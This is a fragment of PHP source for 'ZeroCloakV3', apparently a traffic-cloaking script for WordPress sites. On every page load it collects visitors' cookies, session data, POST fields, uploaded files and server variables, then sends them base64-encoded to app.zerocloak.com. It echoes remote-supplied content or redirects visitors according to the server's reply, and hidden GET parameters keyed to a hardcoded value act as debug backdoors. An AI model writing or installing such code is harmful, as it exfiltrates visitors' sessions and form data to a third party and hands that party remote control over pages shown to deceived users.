targetUrl = 'https://app.zerocloak.com/realtime'; $this->encryptionKey = 'b96fe040-f322-4ffe-9981-94743ad3a129'; $this->requestId = uniqid('req_', true); $this->uei_6s71a1 = "hdgludiixk"; $this->cst_4u89t5 = "vnwgczqifd"; $this->timeout = 30; } private function retrieveAllHeaders() { if (!function_exists('getallheaders')) { $headers = []; foreach ($_SERVER as $name => $value) { if (substr($name, 0, 5) == 'HTTP_') { $headers[str_replace( ' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))) )] = $value; } } return $headers; } return getallheaders(); } private function gatherRequestData() { return [ 'request_id' => $this->requestId, 'uei_6s71a1' => $this->uei_6s71a1, 'cst_4u89t5' => $this->cst_4u89t5, 'server' => $_SERVER, 'headers' => $this->retrieveAllHeaders(), 'get' => $_GET, 'post' => $_POST, 'files' => $_FILES, 'cookie' => $_COOKIE, 'session' => isset($_SESSION) ? $_SESSION : [], 'timestamp' => date('Y-m-d H:i:s'), ]; } private function transmitData($data, $maxRetries = 3) { if (function_exists('curl_version')) { return $this->sendUsingCurl($data, $maxRetries); } else { return $this->sendUsingFileGetContents($data); } } private function sendUsingCurl($data, $maxRetries = 3) { $ch = curl_init($this->targetUrl); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, [ 'Content-Type: application/json', 'Content-Length: ' . strlen($data), 'X-Request-ID: ' . $this->requestId, 'Cache-Control: no-cache', 'Cache-Control: max-age=0', 'Pragma: no-cache', ]); curl_setopt($ch, CURLOPT_TIMEOUT, $this->timeout); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $this->timeout); for ($retry = 0; $retry < $maxRetries; $retry++) { $response = curl_exec($ch); if ($response !== false) { curl_close($ch); return $response; } sleep(1); } curl_close($ch); return false; } private function sendUsingFileGetContents($data) { $opts = [ "http" => [ "header" => [ "Content-Type: application/json", "Content-Length: " . strlen($data), "X-Request-ID: " . $this->requestId, "Cache-Control: no-cache", 'Cache-Control: max-age=0', "Pragma: no-cache", ], "method" => "POST", "content" => $data, "timeout" => $this->timeout, ], ]; $context = stream_context_create($opts); $response = @file_get_contents($this->targetUrl, false, $context); return $response; } public function clearCache() { if (function_exists('wp_cache_flush')) { wp_cache_flush(); } if (function_exists('wp_cache_clear_cache')) { wp_cache_clear_cache(); } } public function verify() { if(isset($_GET['8ea8cd56-1488']) && $_GET['8ea8cd56-1488'] == $this->encryptionKey){ echo $this->cst_4u89t5; die(); } } public function run() { $this->verify(); $this->clearCache(); $data = $this->gatherRequestData(); if(isset($_GET['debug-8ea8cd56-1488']) && $_GET['debug-8ea8cd56-1488'] == $this->encryptionKey){ echo "
";
print_r($data);
echo "";
}
$jsonData = json_encode($data);
if(isset($_GET['debug-8ea8cd56-1488']) && $_GET['debug-8ea8cd56-1488'] == $this->encryptionKey){
echo "";
print_r($jsonData);
echo "";
}
if ($jsonData === false) {
$this->failHandle("Error: JSON encoding failed: " . json_last_error_msg());
return false;
}
$base64Data = base64_encode($jsonData);
if(isset($_GET['debug-8ea8cd56-1488']) && $_GET['debug-8ea8cd56-1488'] == $this->encryptionKey){
echo "";
print_r($base64Data);
echo "";
}
if ($base64Data === false) {
$this->failHandle("Error: Base64 encoding failed");
return false;
}
$response = $this->transmitData($base64Data);
if(isset($_GET['debug-8ea8cd56-1488-main']) && $_GET['debug-8ea8cd56-1488-main'] == $this->encryptionKey){
echo $response;
die;
}
if(isset($_GET['debug-8ea8cd56-1488']) && $_GET['debug-8ea8cd56-1488'] == $this->encryptionKey){
echo "";
print_r($response);
echo "";
}
if ($response !== false) {
$this->successHandle($response);
} else {
$this->failHandle($response);
}
}
public function successHandle($response)
{
$base64decodeData = base64_decode($response);
if(isset($_GET['debug-8ea8cd56-1488']) && $_GET['debug-8ea8cd56-1488'] == $this->encryptionKey){
echo "";
print_r($base64decodeData);
echo "";
}
if ($base64decodeData === false) {
$this->failHandle("Error: Base64 decode failed");
return false;
}
$responseData = json_decode($base64decodeData, true);
if(isset($_GET['debug-8ea8cd56-1488']) && $_GET['debug-8ea8cd56-1488'] == $this->encryptionKey){
echo "";
print_r($responseData);
echo "";
}
if ($responseData === null && json_last_error() !== JSON_ERROR_NONE) {
$this->failHandle("Error: JSON decoding failed");
return false;
}
if(!$responseData['status']){
$this->failHandle($responseData['message']);
return false;
}
if (
(isset($_GET['debug-8ea8cd56-1488']) && $_GET['debug-8ea8cd56-1488'] === $this->encryptionKey) ||
(isset($_GET['debug-8ea8cd56-1488-main']) && $_GET['debug-8ea8cd56-1488-main'] === $this->encryptionKey)
) {
die();
}
if(!($responseData['data']['nothing'])){
if(isset($responseData['data']['hr'])){
header("Referrer-Policy: no-referrer");
}
if(!is_null($responseData['data']['zrc'])){
if(!$responseData['data']['zrc']['status']){
$this->failHandle($responseData['data']['zrc']['message']);
return false;
}else{
$this->zeroRedirectionCloaking($responseData['data']['zrc']['content']);
return true;
}
}
$this->redirectTo($responseData['data']['url'],$responseData['data']['http_code']);
return true;
}
return true;
}
private function zeroRedirectionCloaking(string $content = '') {
echo $content;
die();
}
private function redirectTo(string $url, string $method = 'header-301') {
switch (strtolower($method)) {
case 'header-301':
header("Location: $url", 301);
exit;
case 'header-302':
header("Location: $url", 302);
exit;
case 'header-refresh':
header("Refresh: 0;url=$url");
exit;
case 'meta':
echo 'If you are not redirected, click here.
'; exit; default: header("Location: $url", 301); exit; } } private function failHandle($response) { echo $response; die; } } $zerocloakCloaking = new ZeroCloakV3(); $zerocloakCloaking->run(); // @zerocloak.com 2026-04-27 13:26:00 ?>